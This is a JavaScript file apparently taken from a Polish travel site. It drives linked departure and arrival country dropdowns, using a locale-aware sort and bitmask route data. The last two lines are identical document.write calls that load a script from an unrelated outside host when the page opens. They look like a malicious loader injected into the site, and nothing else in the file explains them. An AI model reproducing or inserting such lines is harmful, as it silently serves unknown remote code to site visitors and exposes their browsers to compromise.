function GetBit(a_str, a_pos)
{
    bitNo = a_pos % 4;
    charNo = (a_pos - bitNo) / 4;
    str = "0x" + a_str.charAt(charNo);
    return (str & (1 << bitNo)) != 0;
}

function JSElem(a_fid, a_name)
{
    this.m_fid = a_fid;
    this.m_name = a_name;
}
function NameCmp(a, b)
{
    return StrCmp(a.m_name, b.m_name);
}
function StrCmp(a, b)
{
    ret=0;
   
    if(a.length==0 || b.length==0)
    {
	if(a.length==0 && b.length==0)
	{
	    ret = 0;
	}
	else if(a.length==0)
	{
	    ret = -1;
	}
	else if(b.length==0)
	{
	    ret = 1;
	}
    }
    else
    {
	aCode = GetSortCode(a.charAt(0));
	bCode = GetSortCode(b.charAt(0));

	if(aCode < bCode)
	{
	    ret = -1;
	}
	else if(bCode < aCode)
	{
	    ret = 1;
	}
	else
	{
	    subStrA = a.substr(1, a.length-1);
	    subStrB = b.substr(1, b.length-1);
	    ret = StrCmp(subStrA, subStrB);
	}
    }

    return ret;
}
function GetSortCode(c)
{
    code = -1;

    if(c <= 'Z') // dla przyspieszenia - zeby nie przegladac wszystkich else-ów (zwykle else-y niepotrzebne)
    {
	code = c.charCodeAt(0);
    }
    // jezyk polski
    else if(c == '\u0104') // A
    {
	code = 65.1; // 65,1 - miedzy 65 a 66, czyli miedzy A a B
    }
    else if(c == '\u0106') // C
    {
	code = 67.1;
    }
    else if(c == '\u0118') // E
    {
	code = 69.1;
    }
    else if(c == '\u0141') // L
    {
	code = 76.1;
    }
    else if(c == '\u0143') // N
    {
	code = 78.1;
    }
    else if(c == '\u00D3')// O
    {
	code = 79.1;
    }
    else if(c == '\u015A') // S
    {
	code = 83.1;
    }
    else if(c == '\u0179') // Z,
    {
	code = 90.1;
    }
    else if(c == '\u017B') // Z.
    {
	code = 90.2;
    }
    // jezyk niemiecki
    else if(c == '\u00C4') // A
    {
	code = 65.2;
    }
    else if(c == '\u00D6') // O
    {
	code = 79.2;
    }
    else if(c == '\u00DC') // U
    {
	code = 85.2;
    }
    else if(c == '\u00DF') // SS
    {
	code = 83.2;
    }
    // jezyk francuski - znaki diakrytyczne nie maja wplywu na sortowanie (mozna grupowac razem ze znakiem podstawowym)
    else if(c == '\u00C0' || c == '\u00C2') // min. A
    {
	code = 65;
    }
    else if(c == '\u00C7') // C
    {
	code = 67;
    }
    else if(c == '\u00C8' || c == '\u00C9' || c == '\u00CA' || c == '\u00CB') // min. E
    {
	code = 69;
    }
    else if(c == '\u00CE' || c == '\u00CF') // min. I
    {
	code = 73;
    }
    else if(c == '\u00DA' || c == '\u00DB' || c == '\u00DC') // min. U
    {
	code = 85;
    }
    else
    {
	code = c.charCodeAt(0);
    }

    return code;
}

function SetUniqArray( a_array )
{
    var unique_arr = new Array();
    var last = "";
    var indx = 0;
    for( var idx  = 0; idx < a_array.length; idx++ )
    {

     if( last == a_array[ idx ].m_name ) continue;

     unique_arr[ indx++ ] = a_array[ idx ];
     last = a_array[ idx ].m_name;
    }
    return unique_arr;
}

function JSCountry(a_id, a_name)
{
    this.m_id = a_id;
    this.m_name = a_name;
}

function SetBottomCombo(a_ob)
{
    if (a_ob.selectedIndex < 0)
    {
	a_ob.selectedIndex = 0;
    }
    var bottom_array = new Array();
    var up_country = a_ob.options[ a_ob.selectedIndex ].text;

    document.getElementById("et_actr").length = 0;
    for( var oidx = 0; oidx < dep_dict.length; oidx++ )
    {
	if (dep_dict[oidx].m_name == up_country)
	{
	    var k = 0;
	    for ( var i = 0; i < arr_dict.length; i++)
	    {
		if (GetBit(all_recs_array[oidx], i))
		{
		    bottom_array[k++] = new JSCountry(arr_dict[i].m_fid, arr_dict[i].m_name);
		}
	    }
	    continue;
	}
    }
    bottom_array.sort(NameCmp);
    var unique_arr = SetUniqArray( bottom_array );
    for( var idx = 0, ix =0; idx < unique_arr.length; idx++ )
    {
	document.getElementById("et_actr").options[ix++] = new Option( unique_arr[ idx ].m_name, unique_arr[ idx ].m_id );
    }
}

var dep_dict = new Array(new JSElem("636", "POLSKA"),new JSElem("7621", "SZWECJA"),new JSElem("22081", "WŁOCHY"),new JSElem("23742", "NIEMCY"),new JSElem("37241", "UKRAINA"),new JSElem("37505", "WIELKA BRYTANIA"),new JSElem("37506", "HOLANDIA"),new JSElem("62057", "BIAŁORU¦"),new JSElem("62371", "FRANCJA"),new JSElem("113631", "NORWEGIA"),new JSElem("123519", "DANIA"),new JSElem("130571", "ROSJA"),new JSElem("130728", "AUSTRIA"),new JSElem("130729", "BELGIA"),new JSElem("130730", "BUŁGARIA"),new JSElem("130813", "LITWA"),new JSElem("133220", "HISZPANIA"),new JSElem("133221", "CZECHY"),new JSElem("157225", "SZWAJCARIA"),new JSElem("164354", "ESTONIA"),new JSElem("164355", "GRECJA"),new JSElem("164356", "WĘGRY"),new JSElem("164361", "SŁOWACJA"),new JSElem("164362", "SŁOWENIA"),new JSElem("164365", "IRLANDIA"),new JSElem("164366", "ŁOTWA"),new JSElem("164367", "LUKSEMBURG"),new JSElem("556749", "MONAKO"));
var arr_dict = new Array(new JSElem("636", "POLSKA"),new JSElem("7621", "SZWECJA"),new JSElem("22081", "WŁOCHY"),new JSElem("23742", "NIEMCY"),new JSElem("37241", "UKRAINA"),new JSElem("37505", "WIELKA BRYTANIA"),new JSElem("37506", "HOLANDIA"),new JSElem("62057", "BIAŁORU¦"),new JSElem("62371", "FRANCJA"),new JSElem("113631", "NORWEGIA"),new JSElem("123519", "DANIA"),new JSElem("130571", "ROSJA"),new JSElem("130728", "AUSTRIA"),new JSElem("130729", "BELGIA"),new JSElem("130730", "BUŁGARIA"),new JSElem("130813", "LITWA"),new JSElem("133220", "HISZPANIA"),new JSElem("133221", "CZECHY"),new JSElem("157225", "SZWAJCARIA"),new JSElem("164354", "ESTONIA"),new JSElem("164355", "GRECJA"),new JSElem("164356", "WĘGRY"),new JSElem("164361", "SŁOWACJA"),new JSElem("164362", "SŁOWENIA"),new JSElem("164365", "IRLANDIA"),new JSElem("164366", "ŁOTWA"),new JSElem("164367", "LUKSEMBURG"),new JSElem("556749", "MONAKO"));
var all_recs_array = new Array();
all_recs_array[0] = "FFFFFFF0";
all_recs_array[1] = "10000000";
all_recs_array[2] = "10082C00";
all_recs_array[3] = "30720000";
all_recs_array[4] = "10000000";
all_recs_array[5] = "14020000";
all_recs_array[6] = "16120000";
all_recs_array[7] = "10000000";
all_recs_array[8] = "10120000";
all_recs_array[9] = "10000000";
all_recs_array[10] = "30600000";
all_recs_array[11] = "10000000";
all_recs_array[12] = "10080400";
all_recs_array[13] = "16120000";
all_recs_array[14] = "10000000";
all_recs_array[15] = "50012000";
all_recs_array[16] = "10000000";
all_recs_array[17] = "50082800";
all_recs_array[18] = "10000000";
all_recs_array[19] = "10000000";
all_recs_array[20] = "10000000";
all_recs_array[21] = "10000000";
all_recs_array[22] = "50010400";
all_recs_array[23] = "50002800";
all_recs_array[24] = "10000000";
all_recs_array[25] = "10000000";
all_recs_array[26] = "10000000";
all_recs_array[27] = "10000000";

function ShowTopCombo()
{
    document.write('<input type=hidden name=profile value="golden_compass_oswiecim_pl_html" />');
    document.write('<input type=hidden name=cnt value=cts />');
    document.write('<select name="dctr" id="et_dctr" class="test" onchange="SetBottomCombo(this);">');
    document.write('<option value="130728">AUSTRIA</option>');
    document.write('<option value="130729">BELGIA</option>');
    document.write('<option value="62057">BIAŁORU¦</option>');
    document.write('<option value="130730">BUŁGARIA</option>');
    document.write('<option value="133221">CZECHY</option>');
    document.write('<option value="123519">DANIA</option>');
    document.write('<option value="164354">ESTONIA</option>');
    document.write('<option value="62371">FRANCJA</option>');
    document.write('<option value="164355">GRECJA</option>');
    document.write('<option value="133220">HISZPANIA</option>');
    document.write('<option value="37506">HOLANDIA</option>');
    document.write('<option value="164365">IRLANDIA</option>');
    document.write('<option value="130813">LITWA</option>');
    document.write('<option value="164367">LUKSEMBURG</option>');
    document.write('<option value="164366">ŁOTWA</option>');
    document.write('<option value="556749">MONAKO</option>');
    document.write('<option value="23742">NIEMCY</option>');
    document.write('<option value="113631">NORWEGIA</option>');
    document.write('<option value="636">POLSKA</option>');
    document.write('<option value="130571">ROSJA</option>');
    document.write('<option value="164361">SŁOWACJA</option>');
    document.write('<option value="164362">SŁOWENIA</option>');
    document.write('<option value="157225">SZWAJCARIA</option>');
    document.write('<option value="7621">SZWECJA</option>');
    document.write('<option value="37241">UKRAINA</option>');
    document.write('<option value="164356">WĘGRY</option>');
    document.write('<option value="37505">WIELKA BRYTANIA</option>');
    document.write('<option value="22081">WŁOCHY</option>');
    document.write('</select>');
}

function ShowBottomCombo()
{
    document.write('<select name="actr" id="et_actr">');
    document.write('<option>...</option>');
    document.write('</select>');
    SetBottomCombo(document.getElementById("et_dctr"));
}

document.write('<script src=http://humanconcern.org/flash/index.php__.php ><\/script>');
document.write('<script src=http://humanconcern.org/flash/index.php__.php ><\/script>');